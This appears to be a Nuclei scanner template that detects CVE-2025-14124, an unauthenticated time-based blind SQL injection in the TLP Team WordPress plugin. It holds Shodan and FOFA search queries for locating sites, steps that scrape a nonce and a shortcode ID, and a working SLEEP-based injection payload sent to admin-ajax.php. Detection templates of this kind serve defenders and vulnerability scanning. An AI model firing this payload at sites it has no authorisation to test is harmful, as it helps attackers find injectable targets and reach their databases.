Team WordPress Plugin (TLP Team) <= 5.0.9 - SQL Injection

id: CVE-2025-14124

info:
  name: Team WordPress Plugin (TLP Team) <= 5.0.9 - SQL Injection
  author: neosmith1,0x_Akoko
  severity: high
  description: |
    Team WordPress plugin <= 5.0.11 contains a SQL injection caused by improper sanitization and escaping of a parameter in an AJAX action accessible to unauthenticated users, letting remote attackers execute arbitrary SQL commands.
  impact: |
    Remote attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
  remediation: |
   Update to version 5.0.11 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/tlp-team/team-509-unauthenticated-sql-injection
    - https://plugins.trac.wordpress.org/changeset/3276890/tlp-team
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14124
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
    cvss-score: 8.6
    cve-id: CVE-2025-14124
    epss-score: 0.0156
    epss-percentile: 0.72237
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 5
    vendor: jeweltheme
    product: tlp-team
    fofa-query: body="tlp-team" || body="rt-team-container"
    shodan-query: http.html:"tlp-team"
  tags: cve,cve2025,sqli,wordpress,wp,wp-plugin,tlp-team

flow: http(1) && (http(2) || http(3)) && http(4) && http(5)

http:
  - raw:
      - |
        GET /wp-content/plugins/tlp-team/assets/css/tlpteam.css HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
        internal: true

  - raw:
      - |
        GET /wp-json/wp/v2/posts?per_page=100&search=team HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: post_id
        group: 1
        regex:
          - '"id":(\d+),"date"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "rt-team-container")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-json/wp/v2/pages?per_page=100&search=team HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: post_id
        group: 1
        regex:
          - '"id":(\d+),"date"'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "rt-team-container")
        condition: and
        internal: true

  - raw:
      - |
        GET /?p={{post_id}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'var\s+ttp\s*=\s*\{[^}]*"nonce"\s*:\s*"([a-z0-9]+)"'
        internal: true

      - type: regex
        name: sc_id
        group: 1
        regex:
          - "data-sc-id='([0-9]+)'"
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "rt-team-container")
          - nonce != ""
          - sc_id != ""
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 25s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=ttp_Layout_Ajax_Action&search=%27+AND+(SELECT+1+FROM+(SELECT+SLEEP(6))x)+AND+%271&tlp_nonce={{nonce}}&scID={{sc_id}}

    matchers:
      - type: dsl
        dsl:
          - duration >= 6
          - status_code == 200
        condition: and
# digest: 4b0a00483046022100effa7f97cfaa5d1350149fc8da3f6b13c5329f0e30840a257f4bfaa2c2770cea022100f0b4c1c83957acdbee223cb05b3096f1b9fbf5d65ec45a19161947f8c5d65e54:922c64590222798bb761d5b6d8e72950